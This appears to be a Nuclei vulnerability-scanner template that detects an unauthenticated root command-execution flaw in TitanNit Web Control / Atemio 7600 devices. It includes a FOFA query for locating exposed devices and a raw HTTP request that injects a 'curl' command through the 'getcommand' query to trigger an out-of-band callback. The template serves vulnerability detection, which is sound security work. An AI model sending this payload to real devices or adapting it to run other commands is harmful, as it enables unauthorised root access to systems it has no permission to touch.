id: titannit-web-rce

info:
  name: TitanNit Web Control 2.01/Atemio 7600 Root - Remote Code Execution
  author: DhiyaneshDk
  severity: high
  description: |
    The vulnerability in the device enables an unauthorized attacker to execute system commands with elevated privileges. This exploit is facilitated through the use of the 'getcommand' query within the application,allowing the attacker to gain root access.
  reference:
    - https://www.exploit-db.com/exploits/51853
    - https://github.com/projectdiscovery/nuclei-templates/issues/8716
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5801.php
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="TitanNit Web Control"
  tags: titanit,web-control,oast,rce

http:
  - raw:
      - |
        @timeout: 20s
        GET /query?getcommand=&cmd=curl+http://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: body
        words:
          - "titan.css"
# digest: 4b0a00483046022100ace13b8681c73e85ff2be6789248bb5486c4c34a2421446d677a71d3e45fc470022100c79f8dd3b855b198be278ca001962abc9cf68259ae2ae2562746a6dd70165d5b:922c64590222798bb761d5b6d8e72950